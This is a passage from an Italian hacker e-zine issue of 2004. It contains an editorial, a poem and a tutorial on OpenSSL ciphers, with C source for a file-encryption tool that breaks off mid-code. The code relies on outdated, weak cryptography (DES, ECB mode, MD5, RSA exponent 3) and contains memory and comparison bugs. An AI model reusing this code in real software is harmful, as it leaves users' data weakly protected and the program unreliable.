Copy Link
Add to Bookmark
Report
OndaQuadra 0B
__ ___ __ _ __ ___ __ _
| _/ _ \_ | _ __ __| | __ _| _/ _ \_ |_ _ __ _ __| |_ __ __ _
| | | | | || '_ \ / _` |/ _` | | | | | | | | |/ _` |/ _` | '__/ _` |
| | |_| | || | | | (_| | (_| | | |_| | | |_| | (_| | (_| | | | (_| |
| |\___/| ||_| |_|\__,_|\__,_| |\__\_\ |\__,_|\__,_|\__,_|_| \__,_|
|__| |__| |__| |__|
.:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
.: [O]nda[Q]uadra [OQ20040308 0X0B] ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: http://www.ondaquadra.org ::
:: info@ondaquadra.org - articoli@ondaquadra.org ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
"Tutto nel ciberspazio e' scandito dalla squarewave dei micro-processori
Il clock dei micro e' come un battito cardiaco elettronico..."
.:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
.: [O]nda[Q]uadra [OQ20040308 0X0B] ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: 0x00 [L0GiN] EV0LUZi0NE, MERA EV0LUZi0NE [oq~staff] ::
:: 0x01 [PAGiNAZER0] LA MiA REGiNA [native] ::
:: 0x02 [CRYPT0] OpenSSL/DES,OpenSSL/Blowfish, [binduck] ::
:: OpenSSL/IDEA,OpenSSL/MD5: iMPLEMENTATi0N ::
:: 0x03 [LiNUX] 0PENM0SiX - C0ME iNSTALLARL0 [DaVe & pinkf] ::
:: 0x04 [C0DiNG] FACT0RiNG LARGE iNTEGERS [binduck] ::
:: 0x05 [C0DiNG] GRiLL0 PARLANTE [eazy] ::
:: 0x06 [C0DiNG] RACE C0NDiTi0NS [snagg] ::
:: 0x07 [C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 1 [spectrum] ::
:: 0x08 [SECURiTY] RiPv2 iNSECURiTiES [mydecay & click] ::
:: 0x09 [TRADUZi0NE] SMASHiNG THE STACK F0R FUN AND PR0FiT [eafkuor] ::
:: 0x0A [SHUTD0WN] PER UN PUGN0 Di RiS0RSE [binduck] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: LEGAL DISCLAIMER ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Nessuna persona dello staff di OndaQuadra si assume responsibilita'
per l'uso improprio dell'utilizzo dei testi e dei programmi presenti
nella e-zine, ne' per danni a terzi derivanti da esso.
OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni
effettuate con la legge 23 dicembre 1993, n. 547 ed in particolare
agli artt. 615-quater- e 615-quinques-.
Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come
avvengono le tecniche di intrusione al fine di far comprendere come
sia possibile difendersi da esse, rendere piu' sicura la propria box e
in generale approfondire le proprie conoscenze in campo informatico.
I programmi allegati sono semplici esempi di programmazione che hanno
il solo scopo di permettere una migliore comprensione di quanto
discusso e spiegato nei testi.
Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001,
n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex
art. 1 e pertanto non inclusa nella previsione dell'art. 5 della legge
8 febbraio 1948, n. 47.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: COSTITUZIONE DELLA REPUBBLICA ITALIANA ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Diritti e doveri dei cittadini: Rapporti civili
Articolo 21
Tutti hanno diritto di manifestare liberamente il proprio pensiero
con la parola, lo scritto e ogni altro mezzo di diffusione. [...]
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x00][L0GiN] EV0LUZi0NE, MERA EV0LUZi0NE [oq~staff] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Prima di tutto una correzione. Nel L0GiN dello scorso numero si poteva
leggere: "[...] Intanto ci sono le minacce provenienti dalle celebri
leggi americane ed europee (DMCA, ECMA) sul copyright digitale; [...]"
I piu' attenti si saranno accorti di un errore. Si cita erroneamente
l'ECMA (associazione che si occupa di standard in ambito di sistemi
ICT) al posto di EUCD (naturalmente), la versione europea del DMCA.
OndaQuadra si evolve; il progetto continua a perseguire il suo fine,
con nuovi stimoli, nuovi progetti, nuovi vaneggi e con la voglia di
sempre: Rendere libera e facilmente accessibile l'Informazione!
Dal fronte evoluzione abbiamo cambiato hosting. A tal proposito
ringraziamo Sensos, ex webmaster ed autore dell'ottima versione
precedente del sito, che per un anno ci ha ospitato gratuitamente.
Grazie!
Molti hanno accolto positivamente il ritorno alla semplicita' per il
sito, apprezzandone la sobrieta' e la leggerezza.
A ribadire il concetto di leggerezza, OndaQuadra dalla scorsa
pubblicazione si propone con un numero limitato di articoli, circa
dieci a numero.
Questa e' una scelta. Apprezzabile da chi non ama la dispersivita',
criticabile agli occhi dei piu' accaniti lettori. Ci auguriamo che sia
comprensibile da parte di tutti!
Il livello tecnico complessivo presumiamo sia superiore al passato.
Cio' non vuol dire affatto che OndaQuadra diventa una rivista
"esclusiva" per i pochi, al contrario cerchiamo di pubblicare
materiale che si distingua il piu' possibile per l'originalita', la
creativita' e la fantasia.
Chiunque avesse idee, intuizioni, visioni non esiti a inviarci i propri
scritti ad articoli@ondaquadra.org.
Dal fronte reperibilita' alcuni frequentatori di cio' che fu il forum
si sono lamentati per la sua scomparsa. Ebbene, le diaboliche menti
che animano OndaQuadra hanno messo a disposizione di tutti una mailing
list <http://ml.ondaquadra.org/>. Non esitate ad iscrivervi!
Ci teniamo a ricordarvi che potete mettervi in contatto con lo staff
via e-mail all'indirizzo info@ondaquadra.org o via IRC sul canale
#ondaquadra della rete Azzurra <http://www.azzurra.org/>.
Buona lettura,
inquis e trtms per OndaQuadra staff
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x01][PAGiNAZER0] LA MiA REGiNA [native] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
E` qui`.
Davanti i miei occhi, inconsapevole della sua
forma, della sua tempra, della sua potenza.
Mistiche evoluzioni la trasformano, bit dopo bit,
in una nuova creatura, sempre piu` strana,
sempre piu` contorta.
La mia mente e` immersa in pensieri senza senso,
rappresentabili soltanto con il vuoto, un vuoto
purtoppo incolmabile.
E` ancora qui`.
Proiettata nel mio io, raccoglitrice di tutto cio`
che la mia anima lascia cadere nella sua Rete.
Il suo sguardo perso nel nulla, passivo, immobile,
orribile.
Sempre attenta, sempre vigile, ma sempre passiva.
Non sempre rispetta le regole di questa marcia societa`,
ed e` questo che la rende rea di essere, colpevole di esistere.
Eppure e` qui`.
Striscia nelle mie membra senza vie di scampo,
tristemente costretta ad eseguire i comandi di un
vile forestiero.
Perseguitata, obbligata, imprigionata.
Ma e` da cio` che trae la sua inesauribile
energia, il suo insaziabile bisogno di vita.
Continua allora, continua a vivere, continua a
rispondere, ping -> pong, continua a regnare.
Il piu` forte, in un modo o nell'altro, e` sempre
colui che vince, ed e` questo che fa di te, la mia Regina.
native <native(at)autistici<dot>org>
http://www.x-stealth.tk
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x02][CRYPT0] OpenSSL/DES,OpenSSL/Blowfish, [binduck] ::
:: OpenSSL/IDEA,OpenSSL/MD5: iMPLEMENTATi0N ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
0. Intro
1. Descrizione algoritmi
2. Funzioni & headers DES
3. Funzioni & headers Blowfish
4. Funzioni & headers IDEA
5. Funzioni & headers MD5
In questo articolo vedremo come implementare due degli algoritmi
piu' famosi e piu' usati nel campo della crittografia:
DES,Blowfish,IDEA,MD5
1. Descrizione algoritmi
DES[Data Encryption Standard]:
Il DES fu sviluppato dall'IBM nel 1970, divento' standard nel 1976
e fu adottato dal governo statunitense nel 1977 ed e' stato utilizzato
per lungo tempo dal governo e da aziende private.
Il DES e' un block cipher (cifrario a blocchi) che lavora con blocchi
di 64 bits (8 bytes), utilizzando chiavi a 56 bits.
Su ogni blocco vengono effettuate delle permutazioni oltre che 16
cicli di xor e permutazioni.
Nel 1998 e' stata dimostrata la vulnerabilita' di questo algoritmo,
da parte dell' EFF, utilizzando un attacco di tipo brute force.
Per ovviare a questo problema e' stato introdotto il 3DES, che e'
basato su una ripetizione del cifrario DES, utilizzando chiavi a 112
bits.
Blowfish:
Nel 1993 Bruce Schneier sviluupo l'algoritmo conosciuto come Blowfish.
Come il DES opera su blocchi di 64 bits. Blowfish puo' operare con
chiavi fino a 448 bits, anche se tipicamente si utilizzano chiavi
a 128 bits. L'utilizzo di Blowfish presenta molti vantaggi a partire
dalla sua velocita' e compattezza fino ad arrivare alla sicurezza
infatti non si conoscono attacchi efficaci, inoltre e' un algoritmo
non patentato.
IDEA[International Data Encryption Algorithm]:
L'algoritmo IDEA lavora con chiavi a 16 bytes (128 bits), su blocchi
di 64 bits. E' basato su 8 cicli identici seguiti da una trasformazione
dell'output.
MD5[Message Digest 5]
MD5, creato nel 1991 da Ronald Rivest e' una funzione one-way hashing,
cioe' prende un messaggio e ne deriva una stringa di un 16 bytes
chiamata anche message digest.
2. Funzioni & headers DES
#include <openssl/des.h>
Poiche' la password e' 64 bits (anche se poi e' ridotta a 56 bits) e
operiamo su blocchi di 8 bytes, quindi dovremmo operare su blocchi di
64 bits. Quindi dichiariamo che sia la password che i messaggi in
chiaro (plaintext) che quelli cifrati (cipher text) dovranno essere
blocchi di 64 bits; per fare questo introduciamo il tipo des_cblock.
Il tipo dello scheduling della password e' des_key_schedule.
Ora possiamo passare alle funzioni:
/* des_read_pw_string(): scrive la string contenuta in prompt,
leva l'echo sulla stdin e legge la password in input. La password
viene inserita in buf ed e' al massimo lenght caratteri. Se verfify
e' posto a 1 chiede la riconferma della password. */
int des_read_pw_string(char *buf, int lenght, const char *prompt,
int verify);
/* des_string_to_key(): converte la stringa contenuta in str in una
chiave DES a 64 bits */
void des_string_to_key(const char *str, des_cblock *key);
/* des_set_key_checked(): controlla se la chiave passata e' dispari
e imposta loschedule della chiave */
int des_set_key_checked(const_des_cblock *key,
des_key_schedule schedule);
/* des_ecb_encrypt(): e' la routine di cifratura base per il DES
offerta dalla libreria. Cifra/Decifra blocchi di 8 bytes a seconda
che mode sia DES_ENCRYPT o DES_DECRYPT. ks e' il key schedule */
void des_ecb_encrypt(const_des_cblock *input, des_cblock *output,
des_key_schedule ks, int enc);
Per informazioni sulle funzioni non illustrate qui: man des
3. Funzioni & headers Blowfish
#include <openssl/bf.h>
Per leggere la password da input usiamo la stessa funzione che
utilizziamo per il DES: des_read_pw_string() [leggete la sez. 2].
La chiave dovra' essere di tipo BF_KEY.
/* BF_set_key(): imposta la chiave (di tipo BF_KEY) usando la stringa
data di lunghezza len */
void BF_set_key(BF_KEY *key, int len, const unsigned char *data);
/* BF_ecb_encrypt(): e' la funzione base per cifrare/decifrare
offerta dalla libreria. Cifra/Decifra blocchi di 8 bytes a seconda
che mode sia BF_ENCRYPT o BF_DECRYPT. */
void BF_ecb_encrypt(const unsigned char *in, unsigned char *out,
BF_KEY *key, int enc);
4. Funzioni & headers IDEA
#include <openssl/idea.h>
Lo schedule della chiave deve essere impostato a IDEA_KEY_SCHEDULE.
Ricordo, inoltre, che il ciphertext e il plaintext devono essere
blocchi di 8 bytes.
Per leggere la password da input usiamo la stessa funzione che
utilizziamo per il DES: des_read_pw_string() [leggete la sez. 2].
/* idea_set_encrypt_key(): imposta il key schedule della chiave
per la fase di cifrazione */
void idea_set_encrypt_key(const unsigned char *key,
IDEA_KEY_SCHEDULE *ks);
/* idea_set_decrypt_key(): imposta il key schedule della chiave
per la fase di decifrazione partendo dal key schedule generato
con idea_set_encrypt_key() */
void idea_set_decrypt_key(IDEA_KEY_SCHEDULE *ek,
IDEA_KEY_SCHEDULE *dk);
/* idea_ecb_encrypt(): cifra/decifra [a seconda del key schedule
passatogli] i dati contenuti nel blocco di 8 bytes in e li mette
nel blocco di 8 bytes out. */
void idea_ecb_encrypt(const unsigned char *in, unsigned char *out,
IDEA_KEY_SCHEDULE *ks);
5. Funzioni & headers MD5
#include <openssl/md5.h>
Questa libreria include alcune funzioni per l'hashing dei messaggi.
/* MD5(): performa l'hash del messaggio passatogli */
unsigned char *MD5(const unsigned char *d, unsigned long n,
unsigned char *md);
[Se md e' NULL il message digest viene messo in un array statico]
A livello applicativo, invece di usare questa funzione conviene
utilizzare le routines EVP, che lavorano a piu' alto livello.
#include <openssl/evp.h>
/* EVP_md5(): ritorna una struttura EVP_MD per l'algoritmo md5 */
EVP_MD *EVP_md5(void);
/* EVP_DigestInit(): inizializza un context CTX per usare un digest
di tipo type*/
void EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type);
/* EVP_DigestUpdate(): computa l'hash di cnt bytes di d nel CTX */
void EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *d,
unsigned int cnt);
/* EVP_DigestFinal(): mette l'hash contenuto nel context CTX
in md*/
void EVP_DigestFinal(EVP_MD_CTX *ctx, unsigned char *md,
unsigned int *s);
man md5
Ora che abbiamo visto le principali funzioni potete guardarvi
il codice sorgente di UNISFED.
[Il codice contiene anche l'algoritmo di crittografia a chiave pubblica
RSA, descritte nel numero 0A di Ondaquadra]
Da compilarsi [una volta suddivisi i files] in questo modo:
gcc unisfed.c -o unisfed -lssl
-------------------block_ciphers.c-------------------------------------
#include <openssl/des.h>
#include <openssl/blowfish.h>
#include <openssl/idea.h>
#define MAXPASSLEN 31
/* DES
* If mode = 1 encrypts *filein file with DES algorithm
* If mode = 0 decrypts *filein file with DES algorithm
* output is written in *fileout file
* Returns 1 if the function runs successfully
* Works on 8 bytes blocks
*
*/
void des_encrypt_decrypt(int mode, char *filein, char *fileout)
{
FILE *fpin,*fpout;
char buf[MAXPASSLEN];
des_cblock key,inmsg,outmsg; /* key, plaintext, ciphertext must
be 8 byte blocks */
des_key_schedule sched;
if (strcmp(filein,fileout) == 0) {
fprintf(stderr,"Error: input and output files must not \
be the same file.\n");
exit(EXIT_FAILURE);
}
/* des_read_pw_string reads password from stdin and stores it
in buf this function automatically asks to re-enter password
and checks it */
memset(buf,'\0',MAXPASSLEN);
if (mode == 1) {
printf("Encrypting file '%s' with des cipher.\n", \
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",1) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
} else {
printf("Decrypting file '%s' with des cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",0) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
}
/* des_string to key convers the password to a key */
des_string_to_key(buf,&key);
/* des_set_key_checked checks that a key passed in of odd
parity and set up the key schedule */
des_set_key_checked(&key,sched);
fpin = fopen(filein,"r");
if ((fpout = fopen(fileout,"w")) == NULL) {
fprintf(stderr,"Error: failed to open output file.\n");
exit(EXIT_FAILURE);
}
/* reads 8 bytes at a time(block=8bytes),encrypts/decrypts
each block with ecb */
while (fread(inmsg,1,8,fpin)) {
memset(outmsg,'\0',8);
des_ecb_encrypt(&inmsg,&outmsg,sched,mode);
fwrite(outmsg,1,8,fpout);
memset(inmsg,'\0',8);
}
fclose(fpin);
fclose(fpout);
printf("Done.\n");
return;
}
/* Blowfish
* If mode = 1 encrypts *filein file with Blowfish algorithm
* If mode = 0 decrypts *filein file with Blowfish algorithm
* output is written in *fileout file
* Returns 1 if the function runs successfully
* Works on 8 bytes blocks
*
*/
void bf_encrypt_decrypt(int mode, char *filein, char *fileout)
{
FILE *fpin,*fpout;
char buf[MAXPASSLEN];
unsigned char inmsg[8],outmsg[8]; /* blowfish operates on 8
byte blocks */
BF_KEY key;
if (strcmp(filein,fileout) == 0) {
fprintf(stderr,"Error: input and output files must \
not be the same file.\n");
exit(EXIT_FAILURE);
}
/* reads password from stdin using the same function used
for des passwords */
memset(buf,'\0',MAXPASSLEN);
if (mode == 1) {
printf("Encrypting file '%s' with BlowFish cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",1) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
} else {
printf("Decrypting file '%s' with BlowFish cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",0) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
}
/* set up the key using password stored in buf from
des_read_pw_string */
BF_set_key(&key,strlen(buf),buf);
fpin = fopen(filein,"r");
if ((fpout = fopen(fileout,"w")) == NULL) {
fprintf(stderr,"Error: failed to open output file.\n");
exit(EXIT_FAILURE);
}
/* reads 8 bytes at a time(block=8bytes),encrypts/decrypts each
block with ecb */
while (fread(inmsg,1,8,fpin)) {
memset(outmsg,'\0',8);
BF_ecb_encrypt(inmsg,outmsg,&key,mode);
fwrite(outmsg,1,8,fpout);
memset(inmsg,'\0',8);
}
fclose(fpin);
fclose(fpout);
printf("Done.\n");
return;
}
/* IDEA
* If mode = 1 encrypts *filein file with IDEA algorithm
* If mode = 0 decrypts *filein file with IDEA algorithm
* output is written in *fileout file
* Returns 1 if the function runs successfully
* Works on 8 bytes blocks
*
*/
void idea_encrypt_decrypt(int mode, char *filein, char *fileout)
{
FILE *fpin,*fpout;
char buf[MAXPASSLEN];
unsigned char inmsg[8],outmsg[8]; /* idea operates on 8
byte blocks */
IDEA_KEY_SCHEDULE sched,dc_sched;
if (strcmp(filein,fileout) == 0) {
fprintf(stderr,"Error: input and output files must not\
be the same file.\n");
exit(EXIT_FAILURE);
}
/* reads password from stdin using the same function used for
des passwords */
memset(buf,'\0',MAXPASSLEN);
if (mode == 1) {
printf("Encrypting file '%s' with IDEA cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",1) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
} else {
printf("Decrypting file '%s' with IDEA cipher.\n",\
filein);
if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \
password:\n",0) != 0) {
fprintf(stderr,"Error: failed to read \
password.\n");
exit(EXIT_FAILURE);
}
}
/* set up the key schedule for encryption */
idea_set_encrypt_key(buf,&sched);
/* setting up the key schedule for decryption in mode == 0 */
if (mode == 0) {
idea_set_decrypt_key(&sched,&dc_sched);
sched = dc_sched;
}
fpin = fopen(filein,"r");
if ((fpout = fopen(fileout,"w")) == NULL) {
fprintf(stderr,"Error: failed to open output file.\n");
exit(EXIT_FAILURE);
}
/* reads 8 bytes at a time(block=8bytes),encrypts/decrypts each\
block with ecb */
while (fread(inmsg,1,8,fpin)) {
memset(outmsg,'\0',8);
idea_ecb_encrypt(inmsg,outmsg,&sched);
fwrite(outmsg,1,8,fpout);
memset(inmsg,'\0',8);
}
fclose(fpin);
fclose(fpout);
printf("Done.\n");
return;
}
-------------------end block_ciphers.c---------------------------------
-------------------hash.c----------------------------------------------
#include <openssl/md5.h>
#include <openssl/evp.h>
void make_hex(u_char *in, u_char *out)
{
const char *hex = "0123456789abcdef";
int i;
for(i = 0; i < 16; i++, in++) {
*out++ = hex[*in >> 4];
*out++ = hex[*in & 0xf];
}
*out = 0x00;
return;
}
/* MD5
* Hashing algorithm
* md5hash() performs the hash of a given file.
*/
void md5hash(char *filein)
{
FILE *fp = NULL;
unsigned int tmpsize=0,linesize=0;
char *hashbuf = NULL;
unsigned char *hash = NULL;
EVP_MD_CTX ctx;
printf("MD5 hash of '%s' file is:\n",filein);
EVP_DigestInit(&ctx,EVP_md5()); /* initializes digest context*/
fp = fopen(filein,"r");
while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) {
EVP_DigestUpdate(&ctx,hashbuf,linesize); /* hashes
linesize bytes of data at hashbuf */
linesize = 0;
}
fclose(fp);
hash = (unsigned char *)malloc(16);
EVP_DigestFinal(&ctx,(unsigned char *)hash,NULL); /* retrieves
the digest value */
make_hex(hash, hashbuf);
printf("%s\n",hashbuf);
free(hashbuf);
free(hash);
return;
}
/* MD5
* Hashing algorithm
* md5cmp() compares the hash of two given files.
*/
void md5cmp(char *file1, char *file2)
{
FILE *fp = NULL;
unsigned int tmpsize=0,linesize=0;
char *hashbuf = NULL;
unsigned char *hash1 = NULL, *hash2 = NULL;
EVP_MD_CTX ctx;
printf("Comparing MD5 hashes of '%s' and '%s' files.\n",\
file1,file2);
EVP_DigestInit(&ctx,EVP_md5());
fp = fopen(file1,"r");
while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) {
EVP_DigestUpdate(&ctx,hashbuf,linesize);
linesize = 0;
}
fclose(fp);
hash1 = (unsigned char *)malloc(16);
EVP_DigestFinal(&ctx,(unsigned char *)hash1,NULL);
EVP_DigestInit(&ctx,EVP_md5()); /* initializes the digest
context */
linesize = 0;
tmpsize = 0;
fp = fopen(file2, "r");
while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) {
EVP_DigestUpdate(&ctx,hashbuf,linesize); /* hashes
linesize bytes of data at hashbuf */
linesize = 0;
}
fclose(fp);
hash2 = (unsigned char *)malloc(16);
EVP_DigestFinal(&ctx,(unsigned char *)hash2,NULL); /* retrieves
the digest value */
if (strcmp(hash1,hash2) == 0)
printf("MD5 hashes match.\n");
else
printf("MD5 hashes don't match.\n");
free(hash1);
free(hash2);
free(hashbuf);
return;
}
-------------------end hash.c------------------------------------------
-------------------misc.c----------------------------------------------
void help(char *name)
{
printf("UniSFED [Simple File Encrypter/Decrypter] v%s\n",\
VERSION);
printf("Coded by Paolo Ardoino <binduck@coder.hu>\n");
printf("Usage:\n");
printf("%s -h\t:displays this help\n",name);
printf("%s -fh <file_to_hash>\t:performs the MD5 hash of \
file_to_hash.\n",name);
printf("%s -fc <file1_to_cmp> <file2_to_cmp>\t:compares the \
MD5 hash of the two files.\n",name);
printf("%s -e <-idea|-des|-bf|-rsa> <file_to_crypt> \
<file_output> [rsa_pub.pem]]\t:encrypts file_to_crypt with \
choosen cipher.\n",name);
printf("%s -d <-idea|-des|-bf|-rsa> <file_to_decrypt> \
<file_output> [rsa_sec.pem]\t:decrypts file_to_decrypt with \
choosen cipher.\n",name);
printf("%s -grsa <numbits> <secfile> <pubfile>\t:generates a \
RSA key pair.\n", name);
printf("-idea: idea block cipher.\n");
printf(" -des: des block cipher.\n");
printf(" -bf: blowfish block cipher.\n");
printf("Ex: %s -e -bf passwords.txt crypto_pass.txt\n",name);
printf("Ex: %s -d -bf crypto_pass.txt pass_file.txt\n",name);
printf("Ex: %s -fc file1 file2\n",name);
printf("\nPlease report bugs to <ardoino.gnu@disi.unige.it>\n");
return;
}
/*
* fexists() checks for the existence of a given file.
* return 0 if the file doesn't exist and 1 if it exists.
*/
int fexists(char *file)
{
FILE *fp;
if ((fp = fopen(file,"r")) == NULL) {
return 0;
} else {
fclose(fp);
return 1;
}
}
-------------------end misc.c------------------------------------------
-------------------rsa.c-----------------------------------------------
#include <openssl/pem.h>
#include <openssl/err.h>
#include <openssl/rsa.h>
#define READPUB 0
#define READSEC 1
void rsa_ed(int mode, char *fin, char *fout, char *pemfile)
{
int size=0,len=0,ks=0;
RSA *key=NULL;
FILE *fpin=NULL, *fpout=NULL;
unsigned char *cipher=NULL,*plain=NULL;
if (strcmp(fin, fout) == 0) {
fprintf(stderr,"Error: input and output files must not\
be the same file.\n");
exit(EXIT_FAILURE);
}
if (mode == 0) {
fpin = fopen(fin, "r");
key = (RSA *)readpemkeys(READPUB, pemfile);
fpout = fopen(fout, "w");
ks = RSA_size(key);
plain = (unsigned char *)malloc(ks * \
sizeof(unsigned char));
cipher = (unsigned char*)malloc(ks * \
sizeof(unsigned char));
printf("Encrypting '%s' file.\n", fin);
while(!feof(fpin)) {
memset(plain,'\0',ks + 1);
memset(cipher, '\0', ks + 1);
len = fread(plain, 1, ks - 11, fpin);
size = rsa_encrypt(key, plain, len, &cipher);
fwrite(cipher, 1, size, fpout);
}
fclose(fpout);
fclose(fpin);
free(cipher);
free(plain);
RSA_free(key);
printf("Done.\n");
} else if (mode == 1) {
fpin = fopen(fin, "r");
key = (RSA *)readpemkeys(READSEC, pemfile);
fpout = fopen(fout, "w");
ks = RSA_size(key);
cipher = (unsigned char*)malloc(ks * \
sizeof(unsigned char));
plain = (unsigned char*)malloc(ks * \
sizeof(unsigned char));
printf("Decrypting '%s' file.\n", fin);
while(!feof(fpin)) {
memset(cipher, '\0', ks);
memset(plain, '\0', ks);
if ((len = fread(cipher, 1, ks, fpin)) == 0)
break;
size = rsa_decrypt(key, cipher, len, &plain);
fwrite(plain, 1, size, fpout);
}
fclose(fpout);
fclose(fpin);
free(plain);
free(cipher);
RSA_free(key);
printf("Done.\n");
}
return;
}
void genkey(int size, char *secfile, char *pubfile)
{
RSA *key=NULL;
FILE *fp;
printf("Generating RSA keys[%d bits].\n", size);
if (size < 64) {
fprintf(stderr, "Error: RSA Key pair size too small.\n");
fprintf(stderr, "size >= 64\n");
exit(EXIT_FAILURE);
}
if((key = RSA_generate_key(size,3,NULL,NULL)) == NULL) {
fprintf(stderr,"%s\n",ERR_error_string(ERR_get_error(),NULL));
exit(EXIT_FAILURE);
}
if(RSA_check_key(key) < 1) {
fprintf(stderr,"Error: Problems while generating RSA Key.\n \
Retry.\n");
exit(EXIT_FAILURE);
}
fp=fopen(secfile,"w");
if(PEM_write_RSAPrivateKey(fp,key,NULL,NULL,0,0,NULL) == 0) {
fprintf(stderr,"Error: problems while writing RSA Private \
Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
fp=fopen(pubfile,"w");
if(PEM_write_RSAPublicKey(fp,key) == 0) {
fprintf(stderr,"Error: problems while writing RSA Public Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
RSA_free(key);
printf("Done.\n");
return;
}
void* readpemkeys(int type, char *pemfile)
{
FILE *fp;
RSA *key=NULL;
if(type == READPUB) {
if((fp = fopen(pemfile,"r")) == NULL) {
fprintf(stderr,"Error: Public Key file doesn't exists.\n");
exit(EXIT_FAILURE);
}
if((key = PEM_read_RSAPublicKey(fp,NULL,NULL,NULL)) == NULL) {
fprintf(stderr,"Error: problems while reading Public Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
return key;
}
if(type == READSEC) {
if((fp = fopen(pemfile,"r")) == NULL) {
fprintf(stderr,"Error: Private Key file doesn't exists.\n");
exit(EXIT_FAILURE);
}
if((key = PEM_read_RSAPrivateKey(fp,NULL,NULL,NULL)) == NULL) {
fprintf(stderr,"Error: problmes while reading Private Key.\n");
exit(EXIT_FAILURE);
}
fclose(fp);
if(RSA_check_key(key) == -1) {
fprintf(stderr,"Error: Problems while reading RSA Private Key in \
'%s' file.\n",pemfile);
exit(EXIT_FAILURE);
} else if(RSA_check_key(key) == 0) {
fprintf(stderr,"Error: Bad RSA Private Key readed in '%s' \
file.\n",pemfile);
exit(EXIT_FAILURE);
}
else
return key;
}
return key;
}
int rsa_encrypt(void *key, unsigned char *plain, int len, \
unsigned char **cipher)
{
int clen=0;
srand(time(NULL));
if((clen = RSA_public_encrypt(len, plain, *cipher, (RSA*)key, \
RSA_PKCS1_PADDING)) == -1) {
fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL));
exit(EXIT_FAILURE);
} else
return clen;
}
int rsa_decrypt(void *key, unsigned char *cipher, int len, \
unsigned char **plain)
{
int plen=0;
if((plen = RSA_private_decrypt(len, cipher, *plain, (RSA*)key, \
RSA_PKCS1_PADDING)) == -1) {
fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL));
exit(EXIT_FAILURE);
} else
return plen;
}
-------------------end rsa.c-------------------------------------------
-------------------unisfed.c-------------------------------------------
#include "unisfed.h"
int main(int argc, char *argv[])
{
if (argc == 1 || strcmp(argv[1],"-h") == 0 || \
((strcmp(argv[1],"-e") != 0 && strcmp(argv[1],"-d") != 0 && \
strcmp(argv[1],"-fh") != 0 && strcmp(argv[1],"-fc") != 0 && \
strcmp(argv[1], "-grsa") != 0)))
help(argv[0]);
else if (strcmp(argv[1],"-d") == 0 && (argc == 5 || argc == 6) \
&& (strcmp(argv[2],"-idea") == 0 ||strcmp(argv[2],"-des") == 0 \
|| strcmp(argv[2],"-bf") == 0||strcmp(argv[2], "-rsa") == 0)){ \
if (strcmp(argv[2],"-idea") == 0) {
if (fexists(argv[3]) == 1)
idea_encrypt_decrypt(0,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-des") == 0) {
if (fexists(argv[3]) == 1)
des_encrypt_decrypt(0,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
found.\n");
} else if (strcmp(argv[2],"-bf") == 0) {
if (fexists(argv[3]) == 1)
bf_encrypt_decrypt(0,argv[3],argv[4]);
else fprintf(stderr,"Error: input file not \
